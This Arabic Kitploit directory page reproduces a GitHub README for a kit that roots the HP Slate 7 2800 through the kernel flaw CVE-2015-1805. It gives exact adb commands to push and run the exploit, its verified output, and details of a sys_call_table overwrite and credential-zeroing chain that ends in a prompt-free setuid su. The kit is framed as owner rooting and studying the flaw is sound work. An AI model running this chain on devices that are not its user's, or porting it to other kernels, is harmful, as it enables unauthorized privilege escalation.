Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
hp-slate7-root-kit — عدة تجذير لجهاز HP Slate 7 2800 بنظام Android 4.1.1 باستخدام CVE-2015-1805. | Kitploit
أدوات/GitHubGitHub/valentineus/hp-slate7-root-kit
أمان أندرويدتصعيد الامتيازاتآليات الاستمراريةتحليل الثغرات الأمنيةالاستغلالما بعد الاستغلالأمن الجوالتطوير الحمولاتاستغلال الملفات الثنائية
GitHubvalentineus/hp-slate7-root-kit

hp-slate7-root-kit

عدة تجذير لجهاز HP Slate 7 2800 بنظام Android 4.1.1 باستخدام CVE-2015-1805.

17منذ 23 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

تجذير HP Slate 7 2800 على Android 4.1.1

English | Русский

يحتوي هذا المستودع على حزمة كاملة ومكتفية ذاتيًا للحصول على وصول جذر دائم على HP Slate 7 2800 الذي يعمل بالبرنامج الثابت 1.05.18 والنواة Linux 3.0.8+ عبر استغلال الثغرة المحلية CVE-2015-1805. تم تشغيل الحزمة على الجهاز اللوحي الفعلي، وتم التحقق من النتيجة من جلسة ADB جديدة وبعد إعادة تشغيل عادية.

هذه ليست أداة تجذير Android عامة. الاستغلال خاص بتهيئة نواة HP هذه. لا تشغّله على طراز مختلف أو برنامج ثابت مختلف أو إصدار نواة مختلف.

التهيئة المُتحقَّق منها

المعاملالقيمة المُتحقَّق منها
الشركة المصنّعة والطرازHP Slate 7 2800
Android4.1.1، API 16، الإصدار JRO03H
المنتج / الجهازt7h / pine
المعالجRockchip RK3066، ARMv7
بصمة الإصدارhp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys
النواة3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015
ABIARM EABI5 32-بت
SELinuxغير موجودة في تهيئة النواة (CONFIG_SECURITY معطّلة)
قسم /systemext4، مُثبَّت للقراءة فقط افتراضيًا

يمكنك فحص الجهاز دون إجراء أي تغييرات:

root@kitploit:~
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version

بدلاً من ذلك، استخدم السكربت أدناه. سيرفض المتابعة إذا لم تتطابق بصمة الإصدار أو إصدار النواة:

root@kitploit:~
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL

محتويات المستودع

root@kitploit:~
.
├── bin/
│   ├── hp-slate7-cve-2015-1805-root  # verified exploit
│   ├── hp-slate7-install-root        # installs su into /system
│   └── hp-slate7-su                  # minimal setuid-root wrapper
├── src/
│   ├── exploit/                      # CVE source and device-specific changes
│   ├── installer/install-root.c      # installer source
│   └── su/rootsh.S                   # minimal su source
├── scripts/
│   ├── build.sh                      # rebuilds all three ELF files
│   ├── check-target.sh               # safe compatibility check
│   └── root-device.sh                # verifies, uploads, and runs the kit
├── SHA256SUMS                        # hashes of the verified bin/* files
├── NOTICE                            # attribution for the original PoC
└── LICENSE                           # GPL-3.0

صيغ الملفات وأغراضها

المجاميع الاختبارية SHA-256 للملفات الثنائية المُتحقَّق منها:

root@kitploit:~
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f  bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a  bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e  bin/hp-slate7-su

التحقق على macOS:

root@kitploit:~
shasum -a 256 -c SHA256SUMS

التحقق على Linux:

root@kitploit:~
sha256sum -c SHA256SUMS

استخدم الملفات من bin/ على الجهاز اللوحي: فهذه هي البايتات الدقيقة التي تم التحقق منها على الجهاز. دليل build/ مخصص لإعادة البناء محليًا ولا يتتبعه Git.

الثغرة المستخدمة

CVE-2015-1805 هي خلل في تطبيقي pipe_read() و pipe_write() في أنوية Linux الأقدم. عندما تفشل نسخة ذرية، يواصل الكود اجتياز مصفوفة iovec بشكل غير صحيح، مما قد يحرّك مؤشرًا خارج حدوده. ونتيجة لذلك، يمكن لعملية محلية دون صلاحيات إتلاف الذاكرة أو تعطيل النواة أو رفع صلاحياتها. نُشر شرح مفصّل للآلية على oss-security. يمكن العثور على الإصلاحات، من بين أماكن أخرى، في التزامات نواة Linux الرئيسية (upstream) 637b58c و f0d1bec.

أثبتت نواة 3.0.8+ الخاصة بالجهاز اللوحي أنها قابلة للاستغلال. قبل تعديل ذاكرة النواة، تم اختبار السباق نفسه بشكل منفصل باستخدام مسبار غير ضار كان هدفا الكتابة فيه موجودَين في الذاكرة العادية لعملية الاختبار. أبلغ المسبار عن CVE-2015-1805: VULNERABLE، وظل الجهاز اللوحي متاحًا عبر ADB.

سلسلة رفع الصلاحيات

  1. يُنشئ الاستغلال سباقًا بين readv() وتغييرات تعيين الذاكرة ومعالجة مصفوفة iovec كبيرة في كود الأنابيب الهشّ للنواة.
  2. تستبدل بدائية الكتابة الناتجة مؤقتًا الإدخال غير المستخدم 222 في sys_call_table بعنوان trampoline صغير بتعليمات ARM داخل عملية الاستغلال.
  3. يُحسب عنوان الجدول عبر المتجه العالي عند 0xffff0008. على الجهاز المُتحقَّق منه، تكون التعليمات 0xe59ff410، وقيمتها الحرفية تشير إلى vector_swi = 0xc04d0d40.
  4. تم تجميع vector_swi و sys_call_table بشكل مستقل من أرشيف النواة الرسمي HP Open Source 1.05.10 (SHA-256 للأرشيف: dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2) مع defconfig باسم rk30_t7h_dvt_defconfig. إزاحتهما هي 0xc4. لا يحتوي البرنامج الثابت المثبَّت على OABI ولا على seccomp، لذا فإن عنوان الجدول النهائي وقت التشغيل هو .

كانت الدالة الأصلية current_thread_info() من ترويسات النواة القديمة غير متوافقة مع Clang الحديث عند -O0: نموذج أولي مبكر قرأ كلمة غير مهيأة بدلاً من سجل sp وكان يمكن أن يُسقط النواة. في هذا المستودع، استُبدلت بـ trampoline naked بتعليمات ARM مُتحقَّق منه. لا يتضمن المستودع النسخة الثنائية المبكرة.

البرمجيات المطلوبة

لاستخدام الملفات الجاهزة من bin/

  • كمبيوتر يعمل بنظام macOS أو Linux؛ يُمكن أيضًا استخدام Windows مع سائق USB مناسب لـ ADB، لكن تم التحقق من هذا الإجراء على macOS؛
  • adb من Android SDK Platform Tools؛
  • كابل بيانات USB يعمل؛
  • تفعيل تصحيح أخطاء USB وقبول مفتاح RSA الخاص بالكمبيوتر على الجهاز اللوحي.

لا تحتاج إلى Android NDK أو Java أو Python أو fastboot أو محمّل إقلاع (bootloader) مفتوح أو استرداد مخصص (custom recovery) أو تطبيق تجذير APK أو وصول إلى الشبكة. الاستغلال والحمولة مربوطان بشكل ثابت (statically linked).

لإعادة البناء من المصدر

  • Zig 0.15.2؛ يكفي فك ضغط الأرشيف المحمول، دون الحاجة إلى تثبيت حزم على مستوى النظام؛
  • Bash؛
  • shasum أو sha256sum للتحقق من النتيجة.

لا يزال Android NDK غير مطلوب: يوفر Zig سلسلة أدوات ترجمة متقاطعة (cross-toolchain) ARM musl.

تجهيز الجهاز اللوحي

  1. اشحن الجهاز اللوحي إلى 50% على الأقل. كان عند حوالي 80% أثناء التشغيل المُتحقَّق منه.
  2. أقلع إلى Android بشكل عادي وافتح قفل الشاشة.
  3. فعّل خيارات المطوّر -> تصحيح أخطاء USB.
  4. وصّل الكابل واقبل طلب RSA لتصحيح أخطاء USB إذا عرضه Android.
  5. لا تشغّل Towelroot أو KingRoot أو تطبيقات تجذير أخرى في الوقت نفسه.
  6. أغلق التطبيقات غير الضرورية. يُنشئ الاستغلال العديد من الخيوط (threads) ويقترب من حدود هذا الجهاز القديم.

تحقق من الاتصال:

root@kitploit:~
adb devices -l

يجب أن تكون الحالة device، وليست offline أو unauthorized.

الحصول على الجذر: الإجراء اليدوي

انتقل إلى جذر المستودع وتحقَّق أولاً من أن الجهاز مطابق تمامًا:

root@kitploit:~
./scripts/check-target.sh

إذا كانت هناك أجهزة متعددة متصلة، مرّر الرقم التسلسلي إلى كل أمر باستخدام adb -s SERIAL، أو عيّن متغير البيئة ANDROID_SERIAL.

ارفع الملفات الثلاثة باستخدام الأسماء التي يتوقعها كل واحد من الآخر:

root@kitploit:~
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7

عيّن الصلاحيات واكتب الملفات المرحّلة إلى التخزين:

root@kitploit:~
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'

شغّل الاستغلال مرة واحدة:

root@kitploit:~
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'

المخرجات الناجحة المُتحقَّق منها:

root@kitploit:~
offset:c4
addr:c04d0d40
    [+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0

إذا اختفى الجهاز من ADB لبضع ثوانٍ، لا تشغّل الاستغلال مرة أخرى. انتظر عودته:

root@kitploit:~
adb wait-for-device

الإجراء الآلي

يتحقق السكربت من بصمة الإصدار والنواة، ويفحص مجاميع SHA-256، ويرفع الملفات، ويطلب منك إدخال ROOT، ويشغّل الاستغلال، ويتحقق من uid=0:

root@kitploit:~
./scripts/root-device.sh

لأجهزة متعددة:

root@kitploit:~
./scripts/root-device.sh --serial ADB_SERIAL

يعطّل خيار --yes التأكيد التفاعلي وهو مخصص فقط للاستخدام الآلي المتعمَّد:

root@kitploit:~
./scripts/root-device.sh --serial ADB_SERIAL --yes

التحقق من النتيجة

تحقق من الجذر من قشرة ADB جديدة، وليس من uid الخاص بعملية الاستغلال:

root@kitploit:~
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '

المخرجات المتوقعة:

root@kitploit:~
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...

بعد ذلك، أزل ملفات المرحلة المؤقتة فقط. لا تتم إزالة /system/xbin/su المثبَّت:

root@kitploit:~
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'

لا تُنشئ الحزمة /data/local.prop ولا تعدّل بيانات المستخدم.

نفّذ إعادة تشغيل عادية ثم تحقق من الجذر الدائم:

root@kitploit:~
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'

أنتج الجهاز اللوحي المُتحقَّق منه النتيجة التالية بعد إعادة التشغيل:

root@kitploit:~
uid=0(root) gid=0(root) ...

تم سحب الملف المثبَّت من الجهاز اللوحي وطابق bin/hp-slate7-su بايتًا ببايت:

root@kitploit:~
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e

استخدام الجذر

لتشغيل أمر واحد:

root@kitploit:~
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'

hp-slate7-su هو غلاف (wrapper) بسيط عمدًا دون تطبيق Android أو مطالبات تأكيد أو برنامج خفي (daemon) أو سجل صلاحيات. يمكن لأي عملية محلية قادرة على تنفيذ /system/xbin/su أن تحصل على الجذر. لا تستخدم هذا الجهاز اللوحي القديم للبيانات الحساسة بعد تجذيره، ولا تثبّت تطبيقات APK غير موثوقة.

إعادة البناء من المصدر

حدد المسار إلى Zig 0.15.2 المحمول، أو أضف zig إلى PATH:

root@kitploit:~
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh

ستُكتب المخرجات إلى build/:

root@kitploit:~
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su

تحقق من صيغ الملفات:

root@kitploit:~
file build/hp-slate7-*

يجب أن تكون الملفات الثلاثة جميعها ملفات ELF بصيغة ARM EABI5 32-بت. مع إصدار Zig 0.15.2 المُتحقَّق منه، يُعاد بناء المثبّت و su بشكل مطابق بايتًا ببايت للملفات الموجودة في bin/. قد يختلف تجزئة الاستغلال بسبب المسارات المطلقة في DWARF وبيانات الرابط الوصفية؛ كان trampoline الحرج المكوَّن من ست تعليمات مطابقًا بايتًا ببايت في بناء التحقق. لا تستبدل إعادة البناء المجاميع الاختبارية للملفات الموجودة في bin/ التي شُغِّلت فعليًا على الجهاز اللوحي.

استكشاف الأخطاء وإصلاحها

unauthorized

افتح قفل الشاشة واقبل مفتاح RSA لتصحيح أخطاء USB. إذا لم يظهر الطلب، أعد توصيل الكابل وشغّل adb devices -l مرة أخرى.

offline أو اختفاء الجهاز

انتظر بضع ثوانٍ وشغّل adb wait-for-device. إذا أُطفئ الجهاز اللوحي، شغّله بشكل عادي بزر الطاقة. لا تشغّل نسخة ثانية من الاستغلال في الوقت نفسه.

لم يطبع الاستغلال [+] Done

تُستغل الثغرة CVE عبر سباق وقد تفشل نظريًا. أعد تشغيل الجهاز اللوحي قبل إجراء محاولة واحدة. لا تشغّل الملف الثنائي في حلقة: فالسباق الفاشل يمكن أن يُسقط النواة.

يوجد su، لكن الأمر يخرج بالرمز 127

تحقق من تجزئة SHA-256 للملف. تعامل غلاف بحث مبكر مع argv بشكل غير صحيح على ARM وخرج بالرمز 127. يحتوي هذا المستودع على النسخة المصححة بحجم 656 بايت مع SHA-256 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e.

يبقى شعار HP على الشاشة، لكن ADB متاح بالفعل

تحقق من الحالة الفعلية لنظام Android:

root@kitploit:~
adb shell getprop sys.boot_completed
adb shell dumpsys window windows

تعني sys.boot_completed=1 أن Android قد أقلع حتى لو كانت الشاشة المادية لا تزال تعرض إطارًا قديمًا.

ما تم اختباره وما لم يُستخدم

استُبعدت طرق أخرى معروفة بأمان أو تبيّن أنها غير مناسبة لهذا الجهاز: CVE-2013-6282 وCVE-2013-2094 وCVE-2012-0056 وCVE-2013-4787 وDirty COW وPingPongRoot. تسبب Towelroot/CVE-2014-3153 في تعطيل هذه النواة ويجب عدم استخدامه. جعل CVE-2014-7951 من الممكن كتابة ملف عبر ثغرة اجتياز المسار في استعادة ADB، لكن البرنامج الثابت من HP لم يُحمّل /data/local.prop، لذا لم تمنح هذه الطريقة الجذر.

يستخدم محمّل الإقلاع (bootloader) محمّل Rockchip قديمًا ولم يظهر كجهاز fastboot قياسي. لم يكن وميض استرداد (recovery) أو فتح قفل محمّل الإقلاع مطلوبًا لهذه النتيجة.

المصدر والترخيص

يعتمد كود الاستغلال على mobilelinux/iovy_root_research، في الالتزام (commit) f945796، والذي يشير بدوره إلى dosomder/iovyroot. تشمل التغييرات الخاصة بالجهاز تقليل عدد الخيوط، وإصلاح المهلة الزمنية، واستخدام trampoline naked بتعليمات ARM، واستعادة جدول استدعاءات النظام مبكرًا، والتحقق من cred، وتعطيل فرع SELinux غير المنطبق.

تم الحفاظ على الإشعارات الأصلية. يُوزَّع المستودع بموجب ترخيص GPL-3.0؛ راجع LICENSE و NOTICE.

إخلاء المسؤولية

يحمل استغلال ذاكرة النواة دائمًا خطر إعادة تشغيل الجهاز أو إتلاف النظام أو فقدان البيانات. هذه الحزمة مخصصة فقط لجهاز HP Slate 7 2800 تملكه أنت ويتطابق برنامجه الثابت تمامًا. احتفظ بنسخة احتياطية من أي بيانات مهمة، ولا تستخدمها على أجهزة تخص أشخاصًا آخرين.


اكتمل البحث الأمني والتوثيق بمساعدة من OpenAI Codex، المدعوم من GPT-5.6 Sol مع وصول Daybreak Blue للأمن السيبراني.


مواقع المستودع: المصدر الأساسي · github · مرآة للقراءة فقط

تنزيل الأداة
الملفالصيغةالحجمالغرض
bin/hp-slate7-cve-2015-1805-rootELF 32-بت ARM EABI5، static، unstripped2,722,320 بايتيستغل الثغرة CVE، ويحصل على uid 0، ويُشغّل المثبّت
bin/hp-slate7-install-rootELF 32-بت ARM EABI5، static، stripped22,596 بايتيعيد تثبيت /system مؤقتًا بوضع rw، ويُثبّت su، ويستعيد وضع ro
bin/hp-slate7-suELF 32-بت ARM EABI5، static، stripped656 بايتيستدعي setresgid(0,0,0) و setresuid(0,0,0)، ثم يُشغّل /system/bin/sh
0xc04d0e04
  • يتكوّن الـ trampoline من ست تعليمات ARM بالضبط. يحصل على sp الحالي، ويحاذيه مع حجم مكدس النواة البالغ 8,192 بايت، ويكتب -1 فقط إلى thread_info.addr_limit عند الإزاحة 8. لا يحتوي على استدعاءات خارجية أو prologue أو كود زمن تشغيل من المترجم.
  • مباشرة بعد عودة استدعاء النظام المؤقت، يُستعاد الإدخال 222 من الإدخال 223. كلا الإدخالين هما sys_ni_syscall في كود HP المصدري؛ المؤشر المستعاد على النواة المُتحقَّق منها هو 0xc051900c.
  • بمجرد توسيع addr_limit، تقرأ آلية نسخ الأنابيب task_struct الحالي، وتحدد موقع cred، وتتحقق من البنية باستخدام قيم uid/gid الحالية والمحاذاة وعداد المرجع وشرط real_cred == cred. فقط بعد هذه الفحوصات تُصفَّر قيم uid/gid وتُمتلأ أقنعة الصلاحيات بالآحاد.
  • تحصل العملية على uid=0 وتُشغّل /data/local/tmp/install-root. يعيد المثبّت تثبيت /system بوضع rw، وينسخ الحمولة إلى /system/xbin/su، ويعيّن الملكية root:root والوضع 06755، ويستدعي sync()، ويعيد تثبيت /system للقراءة فقط.